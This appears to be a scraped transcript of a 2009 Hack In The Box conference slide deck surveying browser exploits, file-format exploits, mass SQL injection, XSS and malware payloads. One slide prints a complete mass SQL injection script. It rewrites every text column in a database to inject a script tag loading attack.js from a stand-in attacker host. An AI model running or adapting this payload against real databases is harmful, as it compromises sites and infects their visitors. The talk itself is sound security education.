Top Banner
Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai
24

Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Aug 13, 2018

Download

Documents

haduong
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Saumil Shah

ceo, net-square

Pwnage 2.0 How to own the world

Hack In The Box 2009 – Dubai

Page 2: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

•  Saumil Shah ceo, net-square solutions

[email protected]

instructor: "The Exploit Laboratory"

author: "Web Hacking - Attacks and Defense"

# who am i16:08 up 4:26, 1 user, load averages: 0.28 0.40 0.33USER TTY FROM LOGIN@ IDLE WHATsaumil console - 11:43 0:05 bash

# who am i

Page 3: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

EVERYBODY WANTS TO RULE THE

WORLD

Page 4: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

Pwnage 2.0

•  The Eco System of Attacks

•  It is all about NUMBERS

•  How many computers can we control? •  and what do we do with them?

•  Small windows of opportunity

•  How can we get control of machines very fast?

Page 5: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

The Attack Surface

Browsers Web Apps

Page 6: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Browsers

Web apps

Google

HTML Javascript Plugins

Page 7: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Browsers

Web apps SQL

Injection XSS

Google

HTML Javascript

Malware

Page 8: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Browsers

Web apps SQL

Injection XSS

Google Malware

HTML Javascript

Browser Exploits

Plugins

Page 9: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Browsers

Web apps SQL

Injection XSS

Google Malware

HTML Javascript

Browser Exploits

Plugins

PDF Office docs

Page 10: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Browsers

Plugins

PDF

HTML

Office docs

Javascript

Web apps SQL

Injection XSS

AntiVirus

Browser Exploits

Malware Google

Page 11: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Makes sense?

Page 12: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

The Eco System of Attacks

Browser Exploits File Format Exploits

Old sk00l web hacking Clever Payloads

Mass 0wnage

Page 13: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

Browser Exploits

•  One born every minute •  IE XML

•  MS02-009

•  Safari and Quicktime

•  IE8, FF3.1, Safari 4 – all pwned at Cansecwest

•  Core browser components

•  Plugins

Page 14: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

No hope for browsers

Page 15: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

Browser Architecture

DOM

HTML+CSS Javascript

Act

iveX

mim

e ty

pes

BH

O

Fla

sh

PD

F

user loaded content <img> <iframe> <script> <object> <div> <style>

<embed> <span> <table> <form> <input> ... etc.

Qui

cktim

e

Med

ia

Ajax libs

Ajax/rich apps

Page 16: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

File format exploits

•  PDF •  Adobe's bug went unpatched for a month

•  Media codecs

•  Image libraries

Page 17: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

Mass delivery mechanisms

•  Mass SQL Injection

•  XSS

•  SPAM

Page 18: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

SQL Injection Discovery

Page 19: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

An example

Page 20: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

The SQL Injection script

declare @m varchar(8000); set @m=''; select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://my.evil.site/attack.js"/>'';' from dbo.sysobjects objs, dbo.syscolumns cols, dbo.systypes typs where objs.id=cols.id and objs.xtype='U' and cols.xtype=typs.xtype and typs.name='varchar'; set @m=REVERSE(@m); set @m=substring(@m,PATINDEX('%;%',@m),8000); set @m=REVERSE(@m); exec(@m);

Page 21: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Browsers

Plugins

PDF

HTML

Office docs

Javascript

Web apps SQL

Injection XSS

AntiVirus

Browser Exploits

Malware Google

email

Page 22: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

© n e t - s q u a r e

Payloads

•  Remote control utilities

•  Botnet clients

•  Keyloggers, screenshotters, etc

•  Toolbars, browser plugins

•  Obfuscation •  Javascript encoding, encryption

•  No hope for AV

Page 23: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

Shall we play a game Professor

Falken?

Page 24: Pwnage 2.0 How to own the world - HITB · Saumil Shah ceo, net-square Pwnage 2.0 How to own the world Hack In The Box 2009 – Dubai

[email protected]

KTHXBAI